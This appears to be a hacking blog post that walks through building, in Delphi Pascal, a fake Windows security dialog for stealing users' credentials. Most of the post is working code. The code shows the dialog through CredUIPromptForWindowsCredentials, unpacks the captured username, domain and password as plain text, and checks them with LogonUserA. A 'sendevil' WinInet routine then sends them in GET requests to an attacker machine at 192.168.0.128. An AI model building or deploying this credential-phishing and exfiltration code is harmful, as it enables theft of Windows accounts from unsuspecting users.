Hunting Windows Credentials (CredUIPromptForWindowsCredentials)

intro

I recently started to do Live streaming on twitch and youtube to cover some techniques and do some live coding sessions. The first try was great, and your support is one of the key factors I look for.

In this article, I will write a detailed description of the concept and how I used it to accomplish the mission to create a custom login validation dialog to steal windows users’ credentials and transfer the results into a remote attacker machine.

Recently, I saw some of the C++ codes that have been shared on Ired.team blog, it was a great job and helped me a lot. But our current mission is to use the well-known design of the windows validation dialog as exactly shown in the following picture with two win API calls.

Github: https://github.com/lawrenceamer/0xsp/tree/master/huntingcreds

Workstream

  • Convert C++ windows MSDN API code into Delphi pascal
  • Implement the code function
  • Add windows validation using windows API call “LogonUserA.”
  • Transfering correct results into the attacker machine.

Convert C++ windows MSDN API code into Delphi pascal

Windows MSDN library provides all windows API call functions documentation in C++ syntax. That’s good, but in our case, we have to do some heavy work to convert these calls to Delphi Pascal. Maybe you got through this while using pinvoke.net for C#. unfortunately, these documentations are not available for Pascal Language.

our lookup table is:

C++ Code

CREDUIAPI DWORD CredUIPromptForWindowsCredentialsA(
  PCREDUI_INFOA pUiInfo,
  DWORD         dwAuthError,
  ULONG         *pulAuthPackage,
  LPCVOID       pvInAuthBuffer,
  ULONG         ulInAuthBufferSize,
  LPVOID        *ppvOutAuthBuffer,
  ULONG         *pulOutAuthBufferSize,
  BOOL          *pfSave,
  DWORD         dwFlags
);

Pascal Code

CredUIPromptForWindowsCredentials: function (
var pUiInfo : TCredUIInfo;dwAuthError:DWORD; var pulAuthPackage:ULONG;pvInAuthBuffer:PCardinal;ulInAuthBufferSize:ULONG;
out ppvOutAuthBuffer: Cardinal; out pulOutAuthBufferSize: ULONG;
 pfsave: PVOID; dwFlags:DWORD): DWORD; stdcall;

C++ code

CREDUIAPI BOOL CredUnPackAuthenticationBufferA(
  DWORD dwFlags,
  PVOID pAuthBuffer,
  DWORD cbAuthBuffer,
  LPSTR pszUserName,
  DWORD *pcchlMaxUserName,
  LPSTR pszDomainName,
  DWORD *pcchMaxDomainName,
  LPSTR pszPassword,
  DWORD *pcchMaxPassword
);

Pascal code

 CredUnPackAuthenticationBuffer: function (dwFlags:DWORD;pAuthBuffer:PVOID;cbAuthBuffer:DWORD;pszUserName:LPSTR;
 var pcchlMaxUserName:DWORD;  pszDomainName:LPSTR; var pcchMaxDomainName:DWORD;pszPassword:LPSTR; var pcchMaxPassword:DWORD
 ): LONGBOOL; stdcall;

if we look closer to the MSDN documentation link, we see that some flags should be imported with API call as these parameters decide the behavior

image

converting that to Pascal is easy just by replacing 0x to $ char as the following

 CREDUIWIN_GENERIC                      = $00000001;
 CREDUIWIN_CHECKBOX                     = $00000002;
 CREDUIWIN_AUTHPACKAGE_ONLY             = $00000010;
 CREDUIWIN_IN_CRED_ONLY                 = $00000020;
 CREDUIWIN_ENUMERATE_ADMINS             = $00000100;
 CREDUIWIN_ENUMERATE_CURRENT_USER       = $00000200;
 CREDUIWIN_SECURE_PROMPT                = $00001000;
 CREDUIWIN_PACK_32_WOW                  = $10000000;

Implement the code function

Start coding should be straightforward as we have added a valid API calls function, then we have to clarify Dll Library to import its functions.

Pascal code

 CRED_MAX_USERNAME_LENGTH              = 256;
 CREDUI_MAX_PASSWORD_LENGTH            = 256;
 CRED_MAX_DOMAIN_TARGET_NAME_LENGTH    = 256;


Cred                                  = 'credui.dll';


CredUIPromptForWindowsCredentialsName = {$IFDEF UNICODE}
                                          'CredUIPromptForWindowsCredentialsW'
                                          {$ELSE}
                                          'CredUIPromptForWindowsCredentialsA'
                                          {$ENDIF};
 CredUnPackAuthenticationBufferName    = {$IFDEF UNICODE}
                                          'CredUnPackAuthenticationBufferW'
                                          {$ELSE}
                                          'CredUnPackAuthenticationBufferA'
                                          {$ENDIF}Code language: PHP (php)

after that, we can craft our code to load CredUIPromptForWindowsCredentialsName function followed by the conditional case to validate the results based on exception handling

begin
lib := safeloadlibrary(cred);
if Lib <> 0  then`
try
CredUIPromptForWindowsCredentials := GetProcAddress(lib,CredUIPromptForWindowsCredentialsName);
CredUnPackAuthenticationBuffer := GetProcAddress(lib,CredUnPackAuthenticationBufferName);
if assigned(CredUIPromptForWindowsCredentials) and assigned(CredUnPackAuthenticationBuffer) then
beginCode language: HTML, XML (xml)

if we have a closer look into C++ of a similar code block shared by ired.team blog, I should identify all Pascal variables.

type


  PCredUIInfo = ^TCredUIInfo;
  TCredUIInfo = record
  cbSize : DWORD;
  hwndParent : HWND;
  pszMessageText : PChar;
  pszCaptionText : Pchar;
  hbmBanner : HBITMAP;


  end

Then coding the calling function of both APIs to get the case result of CredUIPromptForWindowsCredentials and then using CredUnPackAuthenticationBuffer to convert the BLOB to string representations of the credentials.

As we need these string values to output the plain text formatted results to the remote attacker machine.

case CredUIPromptForWindowsCredentials(
   CredInfo,AAuthError,lAuthPackage,nil,0,lOutBuffer,lOutBufferSize,@ASavePassword,CREDUIWIN_GENERIC or CREDUIWIN_CHECKBOX) of


  NO_ERROR: begin
     Zeromemory(@lusername,sizeof(lusername));
     Zeromemory(@lPassword,sizeof(lpassword));
     zeromemory(@lDomain,sizeof(lDomain));
 Result := CredUnPackAuthenticationBuffer(0,pointer(loutbuffer),loutbuffersize,
            @lusername,lMaxUsername,
            @lDomain,lMaxDomainname,
            @lpassword,lMaxPassword);
        if result  then
        begin
      Auser := string(lusername);
      Apassword := string(lpassword);
      ADomain := string(lDomain);
      result := true;
      end;Code language: JavaScript (javascript)

finally, our main code is working perfectly as you can see it successfully load the Windows security validation dialog

Add windows validation using windows API call “LogonUserA.”

The next step is to validly supply user access information, whether it is correct or not, and then the attacker can make sure if the user has entered the correct credentials access.

if not Logonuser(@username[1],nil,@password[1],LOGON32_LOGON_NETWORK,LOGON32_PROVIDER_DEFAULT,TOKEN) then


// correct case
else
// not correct case
end;Code language: JavaScript (javascript)

Transfering correct results into the attacker machine.

The final procedure is by sending entered user’s plain-text credentials. Using the Wininet component, we can send a GET request into the attacker machine supplied with sniffed credentials in the same URL.

Below is the code block to do GET requests in the wininet unit.

function sendevil(const Url: string): string;
var
  NetHandle: HINTERNET;
  UrlHandle: HINTERNET;
  Buffer: array[0..1023] of Byte;
  BytesRead: dWord;
  StrBuffer: UTF8String;
begin
  Result := '';
  BytesRead := Default(dWord);
  NetHandle := InternetOpen('Mozilla/5.0(compatible; WinInet)', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);


  // NetHandle valid?
  if Assigned(NetHandle) then
    Try
      UrlHandle := InternetOpenUrl(NetHandle, PChar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);


      // UrlHandle valid?
      if Assigned(UrlHandle) then
        Try
          repeat
            InternetReadFile(UrlHandle, @Buffer, SizeOf(Buffer), BytesRead);
            SetString(StrBuffer, PAnsiChar(@Buffer[0]), BytesRead);
            Result := Result + StrBuffer;
          until BytesRead = 0;
        Finally
          InternetCloseHandle(UrlHandle);
        end
      // o/w UrlHandle invalid
      else
        writeln('Cannot open URL: ' + Url);
    Finally
      InternetCloseHandle(NetHandle);
    end
  // NetHandle invalid
  else
    raise Exception.Create('Unable to initialize WinInet');
endCode language: Delphi (delphi)

We can call that function in our final code block and add a conditional statement if the user has entered correct creds and then do a GET call with the status label as fail or success to know which credential is valid or randomly supplied.

var
username,password,domain:string;
savepassword:boolean;
TOKEN : Thandle;
begin


if not CredHunt('test','test',$0,username,password,domain,savePassword)
then
exit;
if not Logonuser(@username[1],nil,@password[1],LOGON32_LOGON_NETWORK,LOGON32_PROVIDER_DEFAULT,TOKEN) then


sendevil('http://192.168.0.128/failed'+username+password)
else
sendevil('http://192.168.0.128/success'+username+password);
endCode language: Delphi (delphi)

as the shared POC below, we successfully grabbed valid access credentials into our attacking machine

Subscribe now

to get the latest live hacks series on twitch and youtube, please click on subscribe or follow

Please follow and like us:

Leave a Comment